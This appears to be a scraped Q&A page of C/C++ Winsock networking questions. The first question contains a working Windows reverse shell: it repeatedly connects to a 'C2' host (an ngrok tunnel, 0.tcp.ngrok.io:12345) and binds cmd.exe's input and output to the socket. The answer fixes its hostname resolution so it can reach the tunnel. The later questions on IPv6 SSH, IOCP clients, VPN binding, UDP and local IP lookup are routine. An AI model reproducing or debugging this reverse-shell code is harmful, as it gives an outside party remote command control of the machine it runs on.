How to make C++ accept ngrok address? - c++

I’ve created a simple C++ program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished.
I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345
The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}

inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255).
You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.

Related

LIBSSH2 C++ with dual stack IPv4 and IPv6

I am working on a C++ project that needs to establish a connection via SSH to a remote server and execute some commands and transfer files via SFTP. However, I need this application to work in dual stack mode (e.g., with IPv6 and IPv4) mode.
In the snippet below, my program initially receives an host-name, IPv6 or IPv4 address. In the IPv4 input the connection is successful. However, I am having strange problems in the IPv6 mode that I am noticing that the connection is established via socket and the SSH session fails to start.
Currently, I believe it could be something related to the inet_ntop() method. Please notice that remoteHost variable is an char* type and the remotePort is uint16_t type.
// Initialize some important variables
uint32_t hostaddr = 0, hostaddr6 = 0;
struct sockaddr_in sin = {};
struct sockaddr_in6 sinV6 = {};
int rc = 0, sock = 0, i = 0, auth_pw = 0;
// Here we will initialize our base class with username and password
this->username = usrName;
this->password = usrPassword;
// Firstly, we need to translate the hostname into an IPv4 or IPv6 address
struct addrinfo hints={}, *sAdrInfo = {};
char addrstr[100]={};
void *ptr= nullptr;
char addrParsed[50]={};
memset (&hints, 0, sizeof (hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags |= AI_CANONNAME;
// Now we need to get some address info from the one supplied that remoteHost parameter
int errcode = getaddrinfo (remoteHost, nullptr, &hints, &sAdrInfo);
if (errcode != 0) {
SERVER_ERROR("[SSH] Error while getaddrinfo at SSHConnect() code %d", errno);
return -4;
}
inet_ntop(sAdrInfo->ai_family, sAdrInfo->ai_addr->sa_data, addrstr, 100);
// Here we need to determine if we are using IPv6 or IPv4
switch (sAdrInfo->ai_family) {
case AF_INET6:
ptr = &((struct sockaddr_in6 *) sAdrInfo->ai_addr)->sin6_addr;
break;
case AF_INET:
ptr = &((struct sockaddr_in *) sAdrInfo->ai_addr)->sin_addr;
break;
}
inet_ntop(sAdrInfo->ai_family, ptr, addrstr, 100);
sprintf(addrParsed, "%s", addrstr);
//This part is responsible for creating the socket and establishing the connection
// Now if we have an IPv4 based host
if (sAdrInfo->ai_family == AF_INET) {
this->hostaddr = inet_addr(addrParsed);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sin.sin_port = htons(remotePort);
memcpy(&sin.sin_addr, &hostaddr, sizeof(hostaddr));
}
// Now if we have an IPv6 based host
else if (sAdrInfo->ai_family == AF_INET6) {
this->hostaddr6 = inet_addr(addrParsed);
sock = socket(AF_INET6, SOCK_STREAM, 0);
sin.sin_family = AF_INET6;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sinV6.sin6_port = htons(remotePort);
memcpy(&sinV6.sin6_addr.s6_addr32, &hostaddr6, sizeof(this->hostaddr6));
}
// Now we need to connect to our socket :D
if (sAdrInfo->ai_family == AF_INET) {
int resCon = connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
else if (sAdrInfo->ai_family == AF_INET6) {
int resCon = connect(sock, (struct sockaddr*)(&sinV6), sizeof(struct sockaddr_in6));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
// Free our result variables
freeaddrinfo(sAdrInfo);
// Create a session instance
session = libssh2_session_init();
if(!session) {
return -2;
}
/* Now to start the session. Here will trade welcome banners, exchange keys and setup crypto, compression,
* and MAC layers */
rc = libssh2_session_handshake(session, sock);
if(rc) {
SERVER_ERROR("Failure establishing SSH session: %d\n", rc);
return -3;
}
What is wrong with the implementation that is generating the "Failure establishing SSH session" message with IPv6 stack?
Best regards,

Non-IOCP client send/recv error with IOCP server

Please understand that I am new to IOCP and my code may not be so perfect.
I tried many examples from around here, neither one helps me.
My actual problem is in the client side, I have no idea if I am connecting properly to a IOCP server, neither if I send the data properly and recv gives me WSAerror 10038 ...
WSADATA wsd;
struct addrinfo *result = NULL, *ptr = NULL, hints;
WSAOVERLAPPED RecvOverlapped;
SOCKET ConnSocket = INVALID_SOCKET;
WSABUF DataBuf;
DWORD RecvBytes, Flags;
CRITICAL_SECTION criti;
char buffer[DATA_BUFSIZE];
int err = 0;
int rc;
// Load Winsock
rc = WSAStartup(MAKEWORD(2, 2), &wsd);
if (rc != 0) {
return 1;
}
// Make sure the hints struct is zeroed out
SecureZeroMemory((PVOID)& hints, sizeof(struct addrinfo));
// Initialize the hints to retrieve the server address for IPv4
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
rc = getaddrinfo(IP, Port, &hints, &result);
if (rc != 0) {
return 1;
}
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
if ((ConnSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol)) == INVALID_SOCKET){
freeaddrinfo(result);
return 1;
}
rc = connect(ConnSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (rc == SOCKET_ERROR) {
if (WSAECONNREFUSED == (err = WSAGetLastError())) {
closesocket(ConnSocket);
ConnSocket = INVALID_SOCKET;
continue;
}
freeaddrinfo(result);
closesocket(ConnSocket);
WSACleanup();
return 1;
}
break;
}
if (ConnSocket == INVALID_SOCKET) {
freeaddrinfo(result);
return 1;
}
int nZero = 0;
// Make sure the RecvOverlapped struct is zeroed out
SecureZeroMemory((PVOID)& RecvOverlapped, sizeof(WSAOVERLAPPED));
// Create an event handle and setup an overlapped structure.
RecvOverlapped.hEvent = WSACreateEvent();
if (RecvOverlapped.hEvent == NULL) {
freeaddrinfo(result);
closesocket(ConnSocket);
return 1;
}
DataBuf.len = DATA_BUFSIZE;
DataBuf.buf = buffer;
// send data to server here?
// removed the packets, it`s not supposed to be public
// Call WSARecv until the peer closes the connection
// or until an error occurs
while (1) {
Flags = 0;
RecvBytes = 0;
rc = WSARecv(ConnSocket, &DataBuf, 1, &RecvBytes, &Flags, &RecvOverlapped, NULL);
if ((rc == SOCKET_ERROR) && (WSA_IO_PENDING != (err = WSAGetLastError()))) {
closesocket(ConnSocket);
break;
}
rc = WSAWaitForMultipleEvents(1, &RecvOverlapped.hEvent, TRUE, INFINITE, TRUE);
if (rc == WSA_WAIT_FAILED) {
break;
}
rc = WSAGetOverlappedResult(ConnSocket, &RecvOverlapped, &RecvBytes, FALSE, &Flags);
if (rc == FALSE) {
break;
}
// here I have a protocol where I read the received data
WSAResetEvent(RecvOverlapped.hEvent);
// If 0 bytes are received, the connection was closed
if (RecvBytes == 0)
break;
}
WSACloseEvent(RecvOverlapped.hEvent);
closesocket(ConnSocket);
freeaddrinfo(result);
WSACleanup();
I expect to be able to send data and receive the response from IOCP, but if I send 3 packets, I receive back 2 only or sometimes even 1, when I am sending 3 packets back.
Can some show me a working example to connect and send+recv data to a IOCP server?
Many thanks!
You're using TCP. TCP is a stream protocol, not a datagram protocol. You cannot tell it what packets to send, and it cannot tell you what packets it received (it doesn't even know because that's handled at the IP layer). It just doesn't work that way.
This sentence is packed with wisdom: "TCP is a bidirectional, connection oriented, byte stream protocol that provides reliable, ordered delivery but does not preserve application message boundaries." Punch "TCP" into your favorite search engine and study until you understand precisely what every word in that sentence means. You will never write reliable, or even correct, TCP code until you do.
Whether the server is using IOCP or some other internal architecture has no effect on clients. That's totally invisible.

Windows Socket unable to bind on VPN IP address

I am trying to bind to particular IP which is over a VPN network and I am able to ping it, connect it and also able to telnet on particular port but my windows MFC program gives error code 10049 and I am not able to go further any help in debugging this problem will be appreciated, I am running this on Visual Studio 2012 Win 7 and remote client is running on Linux variant.
This is part of code where I am getting error basically IP address is configurable but I am hardcoding it to debug.
CStarDoc *p_doc = (CStarDoc*) lpparam;
BOOL fFlag = TRUE;
const int MAX_MSGLEN = max(sizeof(DISP_INFO_T ), sizeof(REASON_STRING_T ));
char buffer[MAX_MSGLEN];
DISP_INFO_T *p_disp_info_buffer = (DISP_INFO_T *) buffer;
DISP_INFO_T disp_info_combined; //receiving combined butter
DISP_INFO_T_1 *p_disp_info_buffer1; //receiving buffer pointer for DispInfo1
DISP_INFO_T_2 *p_disp_info_buffer2; //receiving buffer pointer for DispInfo2
int msgReceived = 0; // Initially, is 0.
// For the same msgNumber, when the program receives the first portion of buffer, set to 1,
// When the program receives both portions, set it to 0.
// When the program misses any portion for the same msgNumber, set to 0 also.
int currentMsgNum1 = 0;
int currentMsgNum2 = 0;
int err;
CString msg;
SOCKADDR_IN saUDPPortIn;
SOCKADDR_IN From;
struct addrinfo *result = NULL;
struct addrinfo *ptr = NULL;
struct addrinfo hints;
::memset( &hints,0, sizeof(hints) );
hints.ai_family = AF_UNSPEC;
//hints.ai_socktype = SOCK_DGRAM;
//hints.ai_protocol = IPPROTO_UDP;
char asideip[] = "192.168.1.129";
BOOL OtherSideIsStandby = FALSE;
static BOOL DoFirstMsg = TRUE;
// p_disp_info_combined = & disp_info_combined;
p_doc->ThreadRunning = TRUE;
p_doc->udpsocket = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == p_doc->udpsocket)
{
CString msg = "Invalid socket: "+ WSAGetLastError();
AfxMessageBox(msg);
return(-1);
}
long ip = 0;
int sockbufsize = 0;
int timeout = 2000;
// This is the IP that matches the IP of the QNX machines in all but the last octet.
// Note: it is in host byte format.
int errcode = getaddrinfo(asideip,NULL,&hints,&result);
for(ptr = result;ptr != NULL ;ptr=ptr->ai_next)
{
switch (ptr->ai_family)
{
default: break;
case AF_INET :
ip = p_doc->MyIP;
saUDPPortIn.sin_family = AF_INET;
saUDPPortIn.sin_addr.s_addr = (((SOCKADDR_IN*) ptr->ai_addr)->sin_addr).s_addr;
saUDPPortIn.sin_port = htons(p_doc->port_addr );
int length = sizeof(buffer) *2;
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_REUSEADDR, (char *)&fFlag, sizeof(fFlag));
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_BROADCAST, (char *)&fFlag, sizeof(fFlag));
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVBUF, (char *)&length, sizeof(length));
// Keep from hanging forever.
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
err = bind(p_doc->udpsocket, (SOCKADDR FAR *)&saUDPPortIn, sizeof(SOCKADDR_IN));
if (err == SOCKET_ERROR)
{
int errcode = WSAGetLastError();
closesocket(p_doc->udpsocket);
/* msg.Format("Network Connectivity failed, Please Check Network. ");
AfxMessageBox(msg);
closesocket(p_doc->udpsocket);
p_doc->udpsocket = -1; // task is trying to attach to the port.
return(1);*/
}
}
}
Thanks
You can not bind to remote address and as your error shows, it is such case. You use bind system call with local IP and Port.
Here is what MSDN says about your error:
WSAEADDRNOTAVAIL 10049
Cannot assign requested address. The requested address is not valid in
its context. This normally results from an attempt to bind to an
address that is not valid for the local computer. This can also result
from connect, sendto, WSAConnect, WSAJoinLeaf, or WSASendTo when the
remote address or port is not valid for a remote computer (for
example, address or port 0).

recvcfrom() and sendto() ip address to be used

Actually, I want to create an application in C such that 2 people can chat with each other. Let us assume they know their IP (Actually, I think I am making the mistake here. I get my IPs from www.whatismyip.com).
void recv_data(char *from, unsigned short int Port, char *data, int data_length)
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
char RecvBuf[data_length];
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof (SenderAddr);
WSAStartup(MAKEWORD(2, 2), &wsaData);
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = inet_addr(from);
bind(RecvSocket, (SOCKADDR *) & RecvAddr, sizeof (RecvAddr));
recvfrom(RecvSocket, RecvBuf, data_length, 0, (SOCKADDR *) & SenderAddr, &SenderAddrSize);
int i;
for(i=0;i<=data_length-1;i++)
*(data+i)=RecvBuf[i];
WSACleanup();
}
The above is a function to receive what the other person is sending. It works great when "127.0.0.1" is the value of from but when my ip (117.193.52.176) is used, something else appears. Could anyone tell me where I am wrong ?
The address you passing to "bind" is likely wrong. Just use the IP of INADDR_ANY (0) for the call to bind. I suspect 117.193.52.176 is likely your external IP address outside of your home NAT. Your PC's real IP address is 192.168.1.2 or something like that. Type "ipconfig /all" from the command line. In any case, just bind to INADDR_ANY so you don't have to know your real IP address.
Other issues with this code:
Not checking return values from socket APIs
Don't call WSAStartup and WSACleanup for every recvfrom call. Just call WSAStartup once in your app, and don't worry about calling WSACleanup.
I'm not entirely sure if the line "char RecvBuf[data_length];" will compile. (Dynamically length static buffer on the stack? Maybe it's a new compiler feature).
Don't create a new socket for every recvfrom call. Create it once and bind to it, then use it for all subsequent send/recv calls.
5.. A more fundamnetal design problem. Unless both you and person you are communicating with are directly connected to the Internet (not NAT and no firewall), sending and receiving UDP packets will be difficult. Read the article on hole-punching here.
In any case, here's a cleaner version of your code:
int g_fWinsockInit = 0;
void initWinsock()
{
WSADATA wsaData = {};
if(!g_fWinsockInit)
{
WSAStartup(MAKEWORD(2,2), &wsaData);
g_fWinsockInit = 1;
}
}
void recv_data(char *from, unsigned short int Port, char *data, int data_length)
{
SOCKET RecvSocket;
sockaddr_in RecvAddr = {}; // zero-init, this will implicitly set s_addr to INADDR_ANY (0)
sockaddr_in SenderAddr = {}; // zero-init
int SenderAddrSize = sizeof(SendAddr);
int ret;
initWinsock();
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (RecvSocket == INVALID_SOCK)
{
printf("Error - socket failed (err = %x)\n", WSAGetLastError());
return;
}
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
ret = bind(RecvSocket, (SOCKADDR *) & RecvAddr, sizeof (RecvAddr));
if (ret < 0)
{
printf("bind failed (error = %x)\n", WSAGetLastError());
return;
}
ret = recvfrom(RecvSocket, data, data_length, 0, (SOCKADDR *) &SenderAddr, &SenderAddrSize);
if (ret < 0)
{
printf("recvfrom failed (error = %x)\n", WSAGetLastError());
}
else
{
printf("received %d bytes\n");
}
}

Finding Local IP via Socket Creation / getsockname

I need to get the IP address of a system within C++. I followed the logic and advice of another comment on here and created a socket and then utilized getsockname to determine the IP address which the socket is bound to.
However, this doesn't appear to work (code below). I'm receiving an invalid IP address (58.etc) when I should be receiving a 128.etc
Any ideas?
string Routes::systemIP(){
// basic setup
int sockfd;
char str[INET_ADDRSTRLEN];
sockaddr* sa;
socklen_t* sl;
struct addrinfo hints, *servinfo, *p;
int rv;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_DGRAM;
if ((rv = getaddrinfo("4.2.2.1", "80", &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return "1";
}
// loop through all the results and make a socket
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("talker: socket");
continue;
}
break;
}
if (p == NULL) {
fprintf(stderr, "talker: failed to bind socket\n");
return "2";
}
// get information on the local IP from the socket we created
getsockname(sockfd, sa, sl);
// convert the sockaddr to a sockaddr_in via casting
struct sockaddr_in *sa_ipv4 = (struct sockaddr_in *)sa;
// get the IP from the sockaddr_in and print it
inet_ntop(AF_INET, &(sa_ipv4->sin_addr.s_addr), str, INET_ADDRSTRLEN);
printf("%s\n", str);
// return the IP
return str;
}
Your code already contains the hint: failed to bind socket. But you cut the part of the code that attempts connecting out (did you copy from Stevens UnP?). The socket is not connected to anything, so the network stack has not assigned the local address to it yet.
Once you connect the socket the kernel has to select the local address for it according to the routing table. At that point getsockname(2) will work as expected.
You do not need to allocate a socket to get the machine's available IP addresses. You can use the socket API gethostname() and gethostbyname() functions instead. Or, on Windows, you can alternatively use the Win32 API GetAdaptersInfo() or GetAdaptersAddresses() function instead.